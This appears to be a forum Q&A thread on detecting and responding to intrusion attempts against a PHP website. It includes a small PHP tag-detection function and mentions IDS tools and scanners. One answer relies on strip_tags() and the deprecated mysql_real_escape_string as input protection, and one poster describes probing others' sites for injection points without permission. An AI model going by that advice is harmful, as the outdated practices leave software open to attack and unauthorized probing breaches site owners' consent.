If you feel a full fledged IDS is too much, try PHP IDS, as it does pretty much what you are asking for out of the box. Note that detecting intrusions at the PHP level might already be too late though to prevent an attack.
In case of a successful intrusion, I guess your best bet is taking the server offline and see what damage was done. You might have to consider hiring someone to do a forensic analysis of the machine in case you need to collect legally usable evidence.
If you feel you need to react to unsuccessful intrusion attempts and got the malicious user's IP, find out the ISP and inform him with as much details of the intrusion attempt as possible. Most ISPs have an abuse contact for these cases.
Your question is twofold and I'll answer the second part.
Log everything but do not ban or display any message. It will be embarrassing in case of a false positive. As a general rule, try to build an application that can deal with any sort of user input without a problem.
just use strip_tags() on all $_REQUEST and $_COOKIE vars to take care of code showing up in these vars, as for SQL you would have to maybe write up a query-like regex or something, but this shouldnt be an issue as you should always mysql_real_escape_string($str) all variables in your queries. try something like this though.
function look_for_code_and_mail_admin($str) {
$allowed_tags = "<a>,<br>,<p>";
if($str != strip_tags($str, $allowed_tags)) {
$send_email_to = "some#bodys.email";
$subject = "some subject";
$body = "email body";
mail($send_email_to,$subject,$body);
}
return($str);
}
Um, I can't remember the last time I've seen a site that tries to log SQL injection attacks that I wasn't able to penetrate..
You don't need to worry about weather someone is attacking the site, as it is subjective at best as to weather something is an attack or not. What if the site base64 encodes some values and decodes them before it uses it? Your IDS is not going to catch that. What if a user wants to post a snippet of code, it gets detected as an exploit because it contains SQL? This is such a waste of time... If you really need to know if someone's attacking you, just install some IDS on a seperate machine with readonly access to the incoming traffic.. I say seperate machine, because many IDS are vulnerable themselves, and will only make the situation worse.
Use standard secure programming methodologies, use paramaterized SQL queries or an ORM.
Seems like too much work with the email bit and everything to me. Aside from that, I like to run around on sites I commonly use and try to find injectable points so I can warn the administrator about it. Would you IP ban me for that?
I suggest hunting down the exploitable parts yourself and sanitizing where necessary. Acunetix has a very very good program for that. If you don't feel like shelling out the giant price for Acunetix, there are some very good firefox addons called XSS Me and SQL Inject me you might want to look into.